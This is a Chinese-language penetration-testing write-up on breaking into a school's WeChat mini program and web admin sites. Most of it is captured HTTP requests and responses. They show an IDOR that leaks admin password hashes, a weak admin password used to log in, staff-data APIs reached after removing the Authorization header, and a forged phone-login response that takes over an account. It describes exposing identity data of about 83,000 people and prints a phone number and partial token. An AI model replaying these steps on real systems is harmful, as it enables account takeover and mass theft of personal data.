简单描述

通过未授权访问,获取弱口令泄露,解密获取管理员权限,接管多个web网站,可对用户进行增删改查,修改密码等操作,并可以删除其他管理员,同时泄露全校8万多人的身份证,学号,工号,手机号,邮箱,家庭住址等五要素信息

打开自己的视野,不要局限于小程序或者web端,有时候收集到后端登录框,也可以查一下看看是否有对应的小程序或者前端,收集思路是差不多的

先从小程序获取到了主域名,还可以绕cdn后用ip进行收集

信息收集:

使用domain:”xxxxxxx.cn”搜索,获取了很多子域名

https://wxrkxxxx.xxxxxxx.cn/

https://bxs.xxxxxxx.cn/

http://plan.xxxxxxx.cn/

漏洞复现

打开小程序,抓包拦截

一个可以回退的登录框

然后点击

页面跳转,再点击我的

将这几个都点一遍,此时一直抓着包不放

直到抓到该包

POST /database/getArcticles HTTP/1.1

Host: xxapi.xxxxxx.cn

Content-Length: 10

Xweb_xhr: 1

Authorization: Bearer

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b19)XWEB/11253

Content-Type: application/json

Accept: /

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://servi6e1634c98/18/page-frame.html

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9

Connection: keep-alive

{“Id”:”1”}

查看返回包,发现有密码泄露

将id改为3后

泄露另一个管理员的密码

拿密文进行解密

获得密码,此时由于没有账号密码的登录口所以上fofa,360queke等

使用domain:”xxxxxx.cn”搜索,获取了很多子域名

https://wxrkxxxw.xxxxxx.cn/

https://zzxxs.xxxxxx.cn/

http://plan.xxxxxx.cn/

尝试打开发现登录口

点击这里,就可以使用账号密码登录

账号152xxxxxxxx

密码:123.com

可以对用户进行增删改查,并且是管理员身份

然后就是各种功能的增删改查了,也没什么意思

此处为重要漏洞处,点击部门管理可以获取大量用户信息

共有83105条用户的敏感信息泄露

点击编辑,可以看见用户的信息泄露五要素,此时抓住这个数据包,就可以测越权(普通用户token是否能访问)

未授权(无token访问),也可以使用xiayue自动测

如果是攻防的话,还可以将其他敏感文件一并写入,主要是数量

同时该系统还有未授权访问的接口泄露,通过构造一样的post包可以进行未授权接口访问,同样可以获取以上所有用户的信息,其他还有大量接口可以进行未授权访问

此处就仅举出两个泄露较为严重的

https://xxapi.xxxxxx.cn/xxxxgetxxxStaff

https://xxapi.xxxxxx.cn/xxxxxxx/getxxxList

这是原数据包

POST /org/getOrgStaff HTTP/1.1

Host: xxapi.xxxxxx.cn

Content-Length: 113

Sec-Ch-Ua: “Chromium”;v=”128”, “Not;A=Brand”;v=”24”, “Google Chrome”;v=”128”

Accept: application/json, text/plain, /

Sec-Ch-Ua-Platform: “Windows”

Sec-Ch-Ua-Mobile: ?0

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTUyODgxODxxxxxxxxxxxxMTQ1NiIsIkZyb20iOiJwY20iLCJVc2VySWQiOjE2LCJJZx.RR-8jkpHRYVFv6OY8u9uN6_WfGPwLyOkFSFck2t62Co

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

Content-Type: application/json;charset=UTF-8

Origin: https://xxxxxxoxw.xxxxxx.cn

Sec-Fetch-Site: same-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://xxxxxfxxw.xxxxxx.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9

Priority: u=1, i

Connection: keep-alive

{“Uploader”:16,”OrgTypeId”:1,”OrgId”:3,”DeptId”:1775,”RoleId”:””,”current”:1,”limit”:12,”name”:null,”Updater”:16}

这是删除Authorization后的数据包,打开一个新的浏览器,输入网址,抓包然后改成该包

POST /org/getOrgStaff HTTP/1.1

Host: xxapi.xxxxxx.cn

Content-Length: 113

Sec-Ch-Ua: “Chromium”;v=”128”, “Not;A=Brand”;v=”24”, “Google Chrome”;v=”128”

Accept: application/json, text/plain, /

Sec-Ch-Ua-Platform: “Windows”

Sec-Ch-Ua-Mobile: ?0

Authorization: Bearer

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

Content-Type: application/json;charset=UTF-8

Origin: https://xxxxxw.xxxxxx.cn

Sec-Fetch-Site: same-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://wxxxxw.xxxxxx.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9

Priority: u=1, i

Connection: keep-alive

{“Uploader”:16,”OrgTypeId”:1,”OrgId”:3,”DeptId”:1775,”RoleId”:””,”current”:1,”limit”:12,”name”:null,”Updater”:16}

其他链接https://bcs.xxxxxx.cn/

http://plan.xxxxxx.cn/#/login?redirect=%2Forg%2Fdept

同样使用152xxxxxxxx

123.com

成功登录,获取管理员权限

续写(过了很久又回去看了)

以前泄露的管理员账号

拦截点击手机号快捷登录,拦截该包返回包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /sdk/getPhoneNumber HTTP/1.1
Host: xxapi.xxxxxxxx.cn
Content-Length: 75
Authorization: Bearer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254061a) XWEB/16133
Xweb_xhr: 1
Content-Type: application/json
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://sexxxic.com/wxxxxc98/19/page-frame.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: keep-alive

{"code":"4c53396e1028fbcbf401045axxxxxxxx4f92b9ae86d4b0d48c1"}

将此处的包的手机号修改为18313711633

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Thu, 07 Aug 2025 12:22:36 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 206
Connection: keep-alive
X-Powered-By: Express
Vary: Origin
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Conten-Type,Authorization,authorization,cookie,Cookie,X-Requested-With
X-RateLimit-Limit: 280
X-RateLimit-Remaining: 273
X-RateLimit-Reset: 1754570036
ETag: W/"ce-fGwtq6SYgx3yH2+hakRG/ubzjpA"
Set-Cookie: connect.sid=s%3AxxSGHeKT1Cd1HW2-KGriGDaQ-OZHMbT_.41ukX5o2rLjJALz%2B%2FQ%2FGtomOk5PgdOHLfc8XsW%2B5t5s; Path=/; Expires=Thu, 07 Aug 2025 12:42:36 GMT; HttpOnly

{"code":200,"ret":{"errcode":0,"errmsg":"ok","phone_info":{"phoneNumber":"18xxxxxxx33","purePhoneNumber":"18xxxxxxx33","countryCode":"86","watermark":{"timestamp":1754569310,"appid":"wx491104c98"}}}}

放包直接登录成功

还是有漏洞啊